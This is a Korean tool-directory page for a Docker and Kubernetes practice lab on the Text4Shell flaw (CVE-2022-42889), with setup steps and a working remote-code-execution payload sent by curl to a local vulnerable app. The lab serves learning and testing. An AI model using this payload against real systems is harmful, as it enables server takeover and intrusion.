Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
text4shell-cve-2022-42889 — CVE-2022-42889용 Kubernetes 랩 | Kitploit
도구/GitHubGitHub/devenes/text4shell-cve-2022-42889
Container SecurityVulnerability AnalysisWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubdevenes/text4shell-cve-2022-42889

text4shell-cve-2022-42889

CVE-2022-42889용 Kubernetes 랩

저장소 보기
213년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Text4Shell CVE-2022-42889

CVE-2022-42889용 Docker 실습

Docker 이미지를 로컬에서 직접 빌드하거나 Docker Hub에서 이미지를 가져와 컨테이너를 실행할 수 있습니다.

저장소 클론하기

root@kitploit:~
git clone https://github.com/devenes/text4shell-cve-2022-42889.git

Docker 이미지를 로컬에서 빌드하기

root@kitploit:~
docker build --tag=text4shell .

Docker 컨테이너 실행하기

root@kitploit:~
docker run -d --rm -p 8080:8080 text4shell

또는 Docker Hub에서 이미지를 가져와 컨테이너 실행하기

root@kitploit:~
docker pull devenes/text4shell:v1.0
docker run -d --rm -p 8080:8080 devenes/text4shell:v1.0

search 매개변수에 문자열을 전달하여 앱 테스트하기:

root@kitploit:~
curl http://localhost/text4shell/attack?search=<anything>
  • 공격은 ${prefix:name} 문자열을 전달하여 수행할 수 있습니다. 여기서 prefix는 앞서 언급한 lookup입니다:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

curl을 사용한 공격:

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"
  • dns 또는 url prefix도 사용해 볼 수 있습니다.

컨테이너 ID 확인하기

root@kitploit:~
docker container ls

컨테이너 안으로 들어가기

root@kitploit:~
docker exec -it <container_id> bash

RCE 공격 성공 여부 확인하기

  • /tmp 디렉터리에 foo라는 파일이 생성된 것을 확인할 수 있습니다:
root@kitploit:~
ls /tmp/

다음 명령어로 컨테이너를 중지할 수 있습니다

root@kitploit:~
docker container stop <container_id>

CVE-2022-42889용 Kubernetes 실습

kubernetes 디렉터리로 이동한 후 README.md 파일의 지침을 따르세요.

root@kitploit:~
cd kubernetes

kind 클러스터 생성하기

root@kitploit:~
kind create cluster --config kind-config.yaml

취약한 앱을 클러스터에 배포하기

root@kitploit:~
kubectl apply -f deployment.yaml

앱을 노출할 서비스 생성하기

root@kitploit:~
kubectl apply -f service.yaml

curl을 사용하여 취약한 앱 공격하기

root@kitploit:~
curl -X GET "http://localhost:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D"

kubectl get pods로 파드 이름 확인하기

root@kitploit:~
kubectl get pods

kubectl exec로 파드 안으로 들어가기

root@kitploit:~
kubectl exec -it $(kubectl get pods | grep text4shell |awk '{print $1}') -- bash

공격 성공 여부 확인하기

root@kitploit:~
ls /tmp/ | grep foo

자세한 튜토리얼은 제 Udemy 강의에서 확인할 수 있습니다.


참고 자료:

  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://www.docker.com/blog/security-advisory-cve-2022-42889-text4shell/
  • https://unifiedguru.com/security-advisory-cve-2022-42889-text4shell-docker/
  • https://medium.com/mii-cybersec/cve-2022-42889-text4shell-vulnerability-17b703a48dcd
도구 다운로드